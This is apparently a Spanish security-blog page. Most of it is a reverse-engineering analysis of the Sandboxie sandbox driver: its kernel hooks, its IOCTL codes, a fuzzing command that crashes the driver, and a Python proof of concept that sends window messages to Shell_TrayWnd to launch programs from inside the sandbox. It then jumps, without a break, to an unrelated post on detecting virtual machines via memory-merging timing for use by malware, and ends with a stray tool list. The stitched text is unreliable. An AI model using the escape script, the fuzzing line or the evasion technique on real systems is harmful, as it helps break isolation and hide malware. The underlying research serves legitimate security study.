• 1. Introducción.
• 2. Diseño de Sandboxie.
• 3. Control de acceso a recursos.
  • 3.1. El hookeo en objectos de \ObjectTypes.
  • 3.2. Los hookeos en la ssdt y la shadow ssdt.
• 4. Los io controles.
• 5. Seguridad de Sandboxie.
  • 5.1. Fuzzing de io controls.
  • 5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie).
  • 5.3. Nombres largos.
  • 5.4. Parseo de formatos complejos.
  • 5.5. Conclusión.

1. Introducción:

En este artículo voy a hablar de Sandboxie, una sandbox que realiza aislamiento de procesos y cuyos pilares son:

-El control de acceso a objetos en kernel mediante hooks directos en las estructuras de los mismos objetos.

-Algunos hookeos en la ssdt y la shadow ssdt para control de mensajes a ventanas de procesos no sandboxeados.

-Algunos callbacks registrados en el sistema para control de creación de procesos, imágenes cargadas, etc…

Hablaré un poco del diseño de la sandbox, las técnicas que usa para “construir la celda”, y lo fiable o no que, bajo mi punto de vista, pueden llegar a ser este tipo de sandbox.

2. Diseño de Sandboxie:

Aunque sandboxie consta de la aplicación que hace de interfaz, un servicio, etc… Y otros componentes, en relación con la sandbox sólo nos interesan el driver (sbiedrv.sys) y la dll que inyecta en todos los procesos sandboxeados (sbiedll.dll).

A grandes rasgos Sandboxie funciona de la siguiente manera:

El driver de Sandboxie hookea todo lo necesario en kernel para proteger los recursos que quiere proteger de los procesos sandboxeados.

El driver pone además un callback con PsLoadImageNotifyRoutine y PsCreateProcessNotifyRoutine para ser notificado cuando se carga una imagen en un proceso y cuando se crea un proceso. El driver mantiene una lista de procesos sandboxeados en kernel, y gracias a estos callbacks puede mantener actualizadas las listas de los procesos sanboxeados. Lo que hace es comprobar si el padre del proceso creado es sandboxeado, y si lo es, el hijo pasa a la lista también (también es posible mediante io controles indicar que un proceso debe pasar a considerarse sandboxeado. Esto es necesario para lanzar procesos sandboxeados desde la interfaz de usuario de Sandboxie).

El driver no se complica la vida en el control de acceso a recursos protegidos: si es un proceso sandboxeado deniega el acceso a cualquier recurso protegido, si no es sandboxeado, lo permite.

Sin embargo cuando manejamos Sandboxie  vemos que permite el acceso a algunos recursos protegidos desde los procesos sandboxeados. Además crea un sistema de archivos, entradas de registro, etc… paralelos para cada sandbox manejada.

Para controlar esto el driver de Sandboxie exporta una serie de io controls. Exporta mucha funcionalidad mediante estos io controls, y algunos de ellos sirven para acceder a los recursos protegidos desde los procesos sandboxeados, pero de una manera controlado (discriminando a qué tiene acceso y a qué no, el proceso sandboxeado).

Aquí es donde entra en juego la dll SbieDll que entre otras cosas hookea todas las exports en todas las dlls de cada proceso sandboxeado.

Esta dll es fundamental para que el proceso sandboxeado funcione correctamente ya que en el hook de ciertas apis conocidas (ZwCreateFile, ZwCreateProcess, ZwOpenKey, etc…) la dll corta el flujo normal hacía kernel para redirigirlo hacía los io controles del driver donde se realizará un acceso a los recursos protegidos de manera controlada (una pequeña prueba que demuestra esto es que si quitamos con HookShark por ejemplo todos los hooks de modo usuario se nos queda un proceso sandboxeado sin acceso a nada, porque el driver lo deniega todo).

3. Control de acceso a recursos:

No se si se me ha escapado algo de lo que SbieDrv intercepta en kernel. Los principales hookeos que he visto que realiza son:

En los objetos token, process, thread, event, section, port y semaphore, de tipo Type, que cuelgan de \ObjectTypes, hookean el puntero a función de tipo OB_OPEN_METHOD para controlar el acceso a este tipo de objetos:

OBJECT_TYPE ->OBJECT_TYPE_INITIALIZER-> OpenProcedure

Sólo con esto puede controlar el acceso a disco, registro, etc…

Pero todavía necesita controlar todo el tema de ventanas, que lo maneja win32k.sys: debe cortar el envío de mensajes de las ventanas de aplicaciones sandboxeadas a las ventanas de las no sandboxeadas, debe evitar que las aplicaciones sandboxeadas puedan registrar Windows hooks, etc…

Para poder hacer esto SbieDrv necesita interceptar algunas funciones de la ssdt y la shadow ssdt:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

3.1. El hookeo en objectos de \ObjectTypes:

Vamos a ver primero como son estos objetos que cuelgan del directorio ObjectTypes. Tomamos para el ejemplo el objeto \ObjectTypes\Token:

WINDBG>!object \ObjectTypes
Object: e1000548  Type: (819f1418) Directory
ObjectHeader: e1000530 (old version)
HandleCount: 0  PointerCount: 25
Directory Object: e1001520  Name: ObjectTypes

Hash Address  Type          Name
—- ——-  —-          —-
00  819f1418 Type          Directory
01  819ccca0 Type          Thread
819c95e0 Type          Mutant
03  8198cca0 Type          FilterCommunicationPort
05  819b8e70 Type          Controller
07  819c8ca0 Type          Profile
819c9980 Type          Event
819f15e8 Type          Type
09  819c8560 Type          Section
819c97b0 Type          EventPair
819f1248 Type          SymbolicLink
10  819c8730 Type          Desktop
11  819c8e70 Type          Timer
12  819b8730 Type          File
819c8900 Type          WindowStation
16  819b8ad0 Type          Driver
18  819eb910 Type          WmiGuid
819c8ad0 Type          KeyedEvent
19  819cc040 Type          Token
819b8ca0 Type          Device
20  819cc408 Type          DebugObject
21  819b8900 Type          IoCompletion
22  819cce70 Type          Process
24  819f0300 Type          Adapter
26  819c5980 Type          Key
28  819ccad0 Type          Job
31  819f0708 Type          WaitablePort
819f08d8 Type          Port
32  819c9410 Type          Callback
33  8198ce70 Type          FilterConnectionPort
34  819c8040 Type          Semaphore

WINDBG>!object 819cc040
Object: 819cc040  Type: (819f15e8) Type
ObjectHeader: 819cc028 (old version)
HandleCount: 0  PointerCount: 1
Directory Object: e1000548  Name: Token

WINDBG>dt _OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0×000 Mutex            : _ERESOURCE
+0×038 TypeList         : _LIST_ENTRY [ 0x819cc078 - 0x819cc078 ]
+0×040 Name             : _UNICODE_STRING “Token”
+0×048 DefaultObject    : 0x80558cc0
+0x04c Index            : 4
+0×050 TotalNumberOfObjects : 0x1a
+0×054 TotalNumberOfHandles : 0×10
+0×058 HighWaterNumberOfObjects : 0x1d
+0x05c HighWaterNumberOfHandles : 0×14
+0×060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
+0x0ac Key              : 0x656b6f54
+0x0b0 ObjectLocks      : [4] _ERESOURCE
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.

Dentro de esta estructura _OBJECT_TYPE nos interesa especialmente OBJECT_TYPE_INITIALIZER porque dentro de esta subestructura vamos a tener los punteros a los callbacks que son llamados cuando se abre, cierra, etc… los objetos de este tipo.

typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;   2 bytes
BOOLEAN UseDefaultObject; 1 byte
BOOLEAN Reserved; 1 byte
ULONG InvalidAttributes; 4 bytes
GENERIC_MAPPING GenericMapping; 16 bytes
ULONG ValidAccessMask; 4 bytes
BOOLEAN SecurityRequired; 1 byte
BOOLEAN MaintainHandleCount; 1 byte
BOOLEAN MaintainTypeList; 1 byte
POOL_TYPE PoolType; 1 byte
ULONG ObjectTypeCode; 4 bytes //-> depende de la versión del sistema operativo,
//de esto depende que se acceda a +30h
//o a +34h para buscar el puntero para hookear
ULONG DefaultPagedPoolCharge; 4 bytes
ULONG DefaultNonPagedPoolCharge; 4 bytes
//——
OB_DUMP_METHOD DumpProcedure; 4 bytes
OB_OPEN_METHOD OpenProcedure; 4 bytes
OB_CLOSE_METHOD CloseProcedure; 4 bytes
OB_DELETE_METHOD DeleteProcedure; 4 bytes
OB_PARSE_METHOD ParseProcedure; 4 bytes
OB_SECURITY_METHOD SecurityProcedure; 4 bytes
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes
//——
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

Dependiendo de la versión del sistema operativo esta estructura tiene un campo más o no (el campo ObjectTypeCode). SbieDrv tiene en cuenta este detalle para hookear correctamente el puntero OpenProcedure en todas las versiones que soporta.

Este puntero es de tipo OB_OPEN_METHOD:

typedef NTSTATUS
(NTAPI *OB_OPEN_METHOD)(
IN OB_OPEN_REASON Reason,
IN PEPROCESS Process OPTIONAL,
IN PVOID ObjectBody,
IN ACCESS_MASK GrantedAccess,
IN ULONG HandleCount
);

Este callback es llamado cuando se abre un objeto del tipo en el que se hookea. En este caso cuando se abra un objeto de tipo Token se llamará a este callback, y aquí es posible controlar la apertura de dicho objeto.

Como hemos dicho SbieDrv hookea el callback OpenProcedure para los objetos de tipo token, process, thread, event, section, port y semaphore. Aquí vemos como SbieDrv llama a la función que realiza todo el hookeo con el nombre de cada objeto y el puntero para el hook de éste:

Vemos como comprueba la versión y el build del sistema operativo para calcular los offsets dentro de las estructuras del objeto donde encontrar el OpenProcedure.

——
Si version < 4:
Si BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Sino:
OpenProcedureOffset = pTypeObjHeader+30h+28h
Sino:
Si BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Sino:
OpenProcedureOffset = pTypeObjHeader+34h+28h
——

Para el hookeo utiliza una pieza de código que escribe en memoria del sistema operativo, seguramente porque el sistema operativo controla que estos punteros apunten a memoria suya. Las piezas de código con las que hookea son siempre así:

Esta función que he nombrado “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” busca en las listas de procesos sandboxeados el processid que se le pasa. Si se le pasa cero busca el current process. Como vemos en el trozo que usa para hookear siempre comprueba si el proceso actual es sandboxeado. Si no lo es, deja acceder. Si lo es, pasa a llamar a una función específica del tipo de objeto accedido (una para Token, otra para Process, etc…), pero en este punto ya ha decidido cortar el acceso al objeto (el proceso tendrá que acceder a estos objetos usando los io controles de SbieDrv).

En la imagen a continuación vemos el punto donde SbieDrv compone el bloque de código para el hookeo y el punto donde escribe el puntero en la estructura de kernel.

3.2. Los hookeos en la ssdt y la shadow ssdt:

Como hemos dicho antes Sandboxie hookea las siguientes apis:

win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent

La mayoría están relacionadas con el control de mensajes de ventana a las aplicaciones sandboxeadas. Vamos a analizar por ejemplo el hook a win32k_NtUserMessageCall:

En varias de las apis interceptadas hay que gestionar un mensaje de ventana enviado a una ventana concreta. SbieDrv tiene una función común que hace esta gestión, la que he nombrado Hook_Win32k_Gestiona_MensajeDeVentana:

Esta función va comprobando el mensaje y sus parámetros para decidir qué mensajes permite enviar a las aplicaciones sandboxeadas y cuáles no. La función Hook_Win32k_Gestiona_MensajeDeVentana actúa de esta manera:

-Primero obtiene el id del proceso que envía y el que recibe el mensaje. Si el proceso que envía y el que recibe es el mismo, deja pasar el msg.

-Sino, comprueba si el receptor es un sandboxeado. Si lo es, deja pasar el mensaje.

-A continuación comprueba si el msg es 0x3e4 y si lo es lo deja pasar.

- Luego obtiene el nombre de la clase de la ventana objetivo. Tiene una lista de nombres de clases de ventanas que deben ser tratadas como excepciones para las cuales se permiten algunos mensajes adicionales:

TrayNotifyWnd
SystemTray_Main
Connections Tray
MS_WebcheckMonitor
PrintTray_Notify_WndClass
CicLoaderWndClass
CicMarshalWndClass
Logitech Wingman Internal Message Router
devldr
CTouchPadSynchronizer
Type32_Main_Window
TForm_AshampooFirewall
WinVNC desktop sink
Afx:400000:0
NVIDIA TwinView Window
Shell_TrayWnd

Seguramente necesite meter estas excepciones para el funcionamiento correcto de algunas aplicaciones típicas: explorer, navegadores, etc…

-Si el mensaje no es para un proceso de la sandbox, y el que envía sí es un proceso de la sandbox, si la ventana objetivo no es una de las dichas anteriormente, sale directamente prohibiendo el envío del mensaje.

-Para todas las clases de ventanas que son excepciones primero comprueba si el mensaje es de tipo WM_USER (0×400) o mayor. Si es por debajo de 0×400, comprueba contra la siguiente lista de mensajes inválidos para estas clases de ventanas conocidas:

2h – WM_DESTROY
0Bh – WM_SETREDRAW
10h – WM_CLOSE
11h – WM_QUERYENDSESSION
12h – WM_QUIT
16h – WM_ENDSESSION
3Bh -
4Eh – WM_NOTIFY
82h – WM_NCDESTROY
111h – WM_COMMAND
112h – WM_SYSCOMMAND
319h

-Si no es ninguno de los anteriores ids, sale dejando pasar el mensaje.

-Si es un mensaje por arriba de 0×400, según la clase de ventana que sea, deja pasar unos u otros. Por ejemplo para Shell_TrayWnd deja pasar el id de msg 0x4ec.

4. Los io controles:

Sandboxie crea el siguiente device:

\device\SandboxieDriverApi

Para enviar io controles a Sandboxie él espera que sean:

DeviceType = FILE_DEVICE_UNKNOWN = 0×00000022

Function = 0×801

Method = METHOD_NEITHER

Access = 0

CTL_CODE(0×00000022, 0×801, METHOD_NEITHER, 0);

Por lo tanto el driver accede desde kernel a un buffer en user mode para recuperar los parámetros del io control. El formato de dicho buffer depende de la operación que se le solicite. Este buffer en zona de usuario tiene que tener un tamaño entre 0×8 y 0×40 bytes. El primer DWORD siempre es un valor 0x123400XX, que son los ids de las distintas operaciones que ofrece SbieDrv a través de sus io controles. SbieDrv tiene asociada una función a cada id soportado para gestionar el io control.

A continuación los io controles soportados.

0×12340001:
[0x12340001][XXXXXXXX][ptr zona mem usuario out]
Este ioctl guarda en el puntero en zona de usuario la cadena de versión de sandboxie.
0×12340002:
[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
Pedir lista de procesos sandboxeados.
0×12340003:
Petición de escritura de fichero.
0×12340007:
[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario]
0×12340008:
[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr]
0×12340009: Obtener objecto proceso a partir de pid
0x1234000a
0x1234000b: Parece que sirve para pedir información de procesos sandboxeados.
El proceso sbiectrl.exe está constantemente mandando los códigos 0x1234000b, 0x1234000c y 0×12340002 al driver.
0x1234000c: Parece que pregunta al driver la fecha y hora.
0x1234000d: Con este iocontrol se pide que el driver desproteja una dirección en modo usuario para luego meterle el jump del hook. Así hookea sbiedll (en la rva 0xe7a9) en modo usuario.
[0x1234000D][XXXXXXXX][ptr funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]
0x1234000f: Sirve para consultar una opción de una sandbox. Algunas opciones de sandboxie:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxNameTitle
ClsidTrace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder -> para recuperar todas las carpetas de autorecover
AutoRecoverIgnore
0×12340010: Con este iocontrol se le pide al driver que se actualice con los datos de los ini: sandboxie.ini y templates.ini. El propio driver se pone a parsear los ini.
0×12340011
0×12340015
0×12340016: En este iocontrol se hookean las funciones de ntoskrnl.exe y de win32k.sys (de la ssdt y la shadow).
0×12340019
0x1234001e
0x1234001f: Relacionado con los accesos a disco.
0×12340021
0×12340024
0×12340025
0×12340026
0×12340028
0x1234002b: Obtener handle a proceso.

5. Seguridad de Sandboxie:

Primero vamos a ver algunos detalles y a hacer algunas pruebas relacionadas con este tema.

5.1. Fuzzing de io controls:

SandBoxie exporta varios io controles con mucha funcionalidad necesaria para su funcionamiento, tanto a procesos sandboxeados como no sandboxeados.

No he entrado muy en detalle en el fuzzing de los io controles, sólo una pequeña prueba realizada con Kartoffel (kartoffel.reversemode.com). Llamamos a Kartoffel con esta línea de comandos:

FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0×40 -o 0×40 -z 0×40 -Z 0×40 -I 0×222007 -u CUSTOM,”[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]“

Con esta orden vamos a enviar a io controles con id desde 0×12340001 hasta 0x1234002f, seguidos por un buffer lleno de ‘A’. Todo junto tiene un tamaño de 0×40 (el máximo soportado por Sandboxie).

[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]

Al lanzar este simple fuzzeo, cuando llega al id 0×12340027 salta un bug check:

WINDBG>!analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_CORRUPTED_MMPOOL (d0)
Arguments:
Arg1: 6b757a74, memory referenced
Arg2: 00123400, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 12340027, address which referenced memory
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is
caused by drivers that have corrupted the system pool. Run the driver
verifier against any new (or suspect) drivers, and if that doesn’t turn up
the culprit, then use gflags to enable special pool. You can also set
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool
to a DWORD 1 value and reboot. Then the system will unmap freed nonpaged pool,
preventing drivers (although not DMA-hardware) from corrupting the pool.
Debugging Details:
——————
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
READ_ADDRESS: 6b757a74  (kuzt -> tzuk -> el nombre del autor)
CURRENT_IRQL: 123400
FAULTING_IP:
+5c1952f0012c4f0
12340027 ?? ???
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD0
PROCESS_NAME: Kartoffel.exe
LAST_CONTROL_TRANSFER: from 804f7b27 to 8052716c
STACK_TEXT:
f7642750 804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction
f764279c 804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0×19
f7642b7c 804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0×574
f7642b9c f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0x1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f7642c34 804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0x131f
f7642c44 80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0×31
f7642c58 80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0×60
f7642d00 8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7642d34 8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7642d34 7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eca4 7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet
0012eca8 7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012ed08 0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0×78
0012fee4 0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0x617d
0012ffc0 7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd
0012fff0 00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0×23
STACK_COMMAND: kb
FOLLOWUP_IP:
SbieDrv+131f
f7cce31f 8bf7 mov esi,edi
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: SbieDrv+131f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SbieDrv
IMAGE_NAME: SbieDrv.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4d8b29aa
FAILURE_BUCKET_ID: 0xD0_SbieDrv+131f
BUCKET_ID: 0xD0_SbieDrv+131f
Followup: MachineOwner
———
Sorting ‘Functions window’… ok

KeBugCheck es llamado por el propio SbieDrv porque detecta algo raro, así que es un simple DoS no muy peligroso. Pero que un fuzzeo tan simple nos provoque un DoS en kernel nos hace pensar que el código de SbieDrv tiene varios cabos sueltos.

5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie):

Como ya vimos en el análisis de los hooks para controles de mensajes a ventanas hay una serie de ventanas excluídas para las que se permiten algunos mensajes adicionales. Entre ellas está Shell_TrayWnd, la ventana de la barra de aplicaciones.

El siguiente script demuestra que estos mensajes permitidos a Shell_TrayWnd nos permiten movernos por el menú inicio y lanzar aplicaciones linkadas desde él:


import random

random.seed()

VK_LEFT=0x25
VK_UP=0x26
VK_RIGHT=0x27
VK_DOWN=0x28
VK_RETURN=0x0d
VK_TAB=0x09
VK_SHIFT=0x10
VK_CONTROL=0x11
VK_MENU=0x12

import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT
trayRect=RECT(0,0,0,0)
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,"Shell_TrayWnd",0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,"TrayNotifyWnd",0)

def PressKey(hwin,key):

msgkeydown=0x100
msgkeyup=0x101
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP
time.sleep(0.1)

ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0x200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0x200020) #WM_NCLBUTTONUP

PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)

PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)

PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)

PressKey(trayWindow, VK_RETURN)

(Las pulsaciones de teclas son las necesarias para lanzar la calculadora tal como yo tenía colocado el menú inicio cuando hice la prueba).

No es un problema de seguridad grave pero pienso que tampoco es el comportamiento que espera el usuario de la sandbox.

5.3. Nombres largos:

Sandboxie tiene problemas con nombres de ficheros largos (más largos que MAX_PATH y hasta 32 mil y pico caracteres) porque en su callback LoadImageNotifyRoutine llega el nombre a NULL.

No he visto problemas de seguridad aquí pero sí que se obtienen mensajes de error y comportamientos que sin Sandboxie no ocurrirían (tanto en procesos sandboxeados como no sandboxeados).

Sin embargo este detalle nos vuelve a hacer pensar que es difícil interceptar demasiadas cosas en el sistema operativo, en puntos muy delicados, y tener en cuenta todos los posibles casos.

5.4. Parseo de formatos complejos:

En mi opinión el driver de Sandboxie tiene código bastante arriesgado en kernel.

Por ejemplo, en el callback LoadImageNotifyRoutine se hace un parseo a fondo de la cabecera PE de la imagen cargada en modo usuario. A continuación vemos el comienzo de dicho parseo en el que más adelante profundiza en los recursos, etc…

También abre y parsea los ficheros de configuración .ini desde kernel:

En otros puntos desensambla instrucciones a la entrada de funciones (tanto de kernel como de modo usuario) para saber que tipo de hook debe meter y guardarse las instrucciones sobrescritas. Cuando por ejemplo se va a pinchar algo en modo usuario es el driver el que va a salvar en un buffer de usuario las instrucciones que se van a sobreescribir.

En definitiva, mi opinión es que Sandboxie mete bastante código complejo y arriesgado en kernel. Ya vimos en el sencillo fuzzeo de io controles que SbieDrv deja más de un cabo suelto. No me he metido a fuzzear en profundida: ficheros ini, cabeceras pe, etc… pero tengo la impresión de que saltaría la liebre por más de un sitio.

5.5. Conclusión:

En general mi opinión es que las sandbox por aislamiento de proceso llevan una inseguridad intrínseca:

-Es difícil interceptar todo lo peligroso a lo que puede acceder un proceso.

-Se va a introducir código (los hooks) en puntos muy delicados del sistema por lo que hay que confiar mucho en ese código.

-Se van a tocar cosas muy dependientes de la versión del sistema operativo para interceptar todo lo necesario.

-Muchos de los hooks necesarios no van a ser muy limpios ni documentados, ni soportados por el sistema, más propios de un rootkit que de una herramienta de seguridad.

-Seguramente vas a necesitar meter algunas excepciones a lo que prohibes en la sandbox para que funcionen algunas aplicaciones típicas, como hace Sandboxie.

-En el caso de Sandboxie además se meten en kernel muchos bloques de código complejos que en mi opinión podrían estar en modo usuario: parseo de ficheros sandboxie.ini y templates.ini, parseo de cabeceras PE, etc…

-También en el caso de Sandboxie, por su diseño, necesita exportar mucha funcionalidad compleja a través de io controles.

Mi conclusión respecto a Sandboxie es que es una herramienta útil en la que sí lanzaría un navegador o un pdf reader para ayudar a protegerme contra vulnerabilidades, pero si fuera a lanzar malware dentro de Sandboxie, lanzaría Sandboxie dentro de una vmware, bochs u otra máquina virtual.

ACTUALIZACIÓN: 1/5/2010 Incluyo un pequeño cambio en el codigo del PoC que había hecho el cual mejora muchisimo los resultados, lamentablemente no tengo tiempo de rehacer las graficas y las conclusiones. Pruebenlo que ahora los resultados son mucho mas notables

Hola audiencia de 48bits, hoy les voy a contar un poco sobre una cualidad que tienen ciertos entornos de virtualizacion, la cual podemos aprovechar para detectar los mismos.

El método que propongo esta basado en timing analysis, pero no sobre el tiempo de ejecución de determinadas instrucciones, sino que sobre los tiempos de acceso a memoria. Se han utilizado técnicas similares para detectar VMMs (incluyendo VT). Un método conocido es medir el tiempo de acceso a memoria con cache on/off, por lo general el VMM no permite desactivar el cache, entonces si ambas mediciones dan resultados similares significa que estamos dentro de un entorno virtual.

A diferencia de esa técnica, la manera que he encontrado no requiere ring0 y además es bastante sencilla. Claro que tiene ciertas limitaciones, no sirve para detectar cualquier VM, solo aquellas que implementen samepage merging (hasta ahora solo hice pruebas con KVM-KSM y VMware).

Supongo que tendré que explicar un poco en que consiste esto del samepage merging (desde ahora SM porque soy vago). El SM esta muy relacionado con el CoW (Copy on Write). Básicamente se trata de un thread que periódicamente recorre la memoria y une todas las páginas cuyo contenido es exactamente el mismo. Una vez unidas las páginas, el resto del proceso es exactamente un CoW, se comparte la misma page frame y se marca la página como read-only, cuando se intenta realizar una escritura, el manejador de excepciones se encarga de asignar una nueva página.

Este tipo de estrategia es bastante costosa por lo que no se suele utilizar sobre toda la memoria del sistema operativo. Sin embargo es muy tentador utilizarla en entornos virtualizados ya que se ahorran cantidades considerables de ram, el beneficio es máximo cuando se corren varios guests simultanea-mente.

En linux disponemos de KSM (Kernel Samepage Merging), este se puede activar y desactivar en el vuelo. Cualquier versión reciente de KVM saca provecho de KSM si se encuentra activado. La idea original sobre este tipo de tecnologías parece pertenecer a VMware y al parecer hubo ciertos problemas de patentes con KSM, lo importante a destacar es que si podemos aprovecharnos de KSM seguramente también podemos hacerlo de VMware.

Ya con todo esto un poco explicado, algunos deben estarse preguntando que pasaría si medimos los tiempos de acceso a memoria antes y después de que el KSM (o VMware) actue sobre la memoria del guest. Es justamente lo que vamos a averiguar

Para logralo he escrito un PoC bastante cutre pero útil a nuestros propósitos. A continuación, el código (que no es muy bonito que digamos), y le sigue su descripción.

Nuevo PoC!

El código puede ser compilado con visual studio, y lo ideal es compilarlo para release.

Ahora se compila con: g++ -O3 smdetect.cpp -o smdetect
Funciona tanto en linux como en windows (mingw).

Ahora unas gráficas con los resultados en distintos entornos:

Las gráficas corresponden a 10 ejecuciones de smdetect por cada entorno. Si todo fuera perfecto deberían ser lineas horizontales, pero factores externos como la carga del sistema hacen variar bastante los resultados.

Se puede apreciar una diferencia notable entre los casos donde no hay VMM y en los que la hay. Un caso curioso se da con OSX, donde la diferencia es apenas un 100% estando más cerca de los resultados donde no hay VMM. Incluso en una prueba llego a dar ~30% lo cual lo hace un target muy dificil de detectar.

Mirando las gráficas y sin considerar OSX, podriamos establecer un umbral de 150% para la detección. Incluyendo los datos de OSX he decidido utilizar un 98%, aún asi pueden darse falsos negativos en OSX y un umbral tan bajo podría llegar a dar falsos positivos si se dan ciertas condiciones.

Conclushion!

Tenemos un nuevo método, que si bien no es 100% confiable, puede ser utilizado de forma práctica y es posible refinarlo mucho más. Una posibilidad es la utilización de heurísticas para ajustar el umbral en función a información sobre la carga del sistema. Otro tema pendiente es la enorme espera que hay que realizar entre mediciones, pero esto no creo que sea un impedimento para muchos autores de malware…

Aqui se acaba

PD: lo siento Javi y Marconi por meter otro post en tan poco tiempo (parece ser que siempre ocurre lo mismo, pueden pasar meses sin movimiento y luego abalancha de posts).

Herramientas a utilizar:

Ollydbg
IDA
Java JRE ( el compilador del redtamarin es un jar )
redtamarin ( http://code.google.com/p/redtamarin )
Alchemy ( http://labs.adobe.com/downloads/alchemy.html )
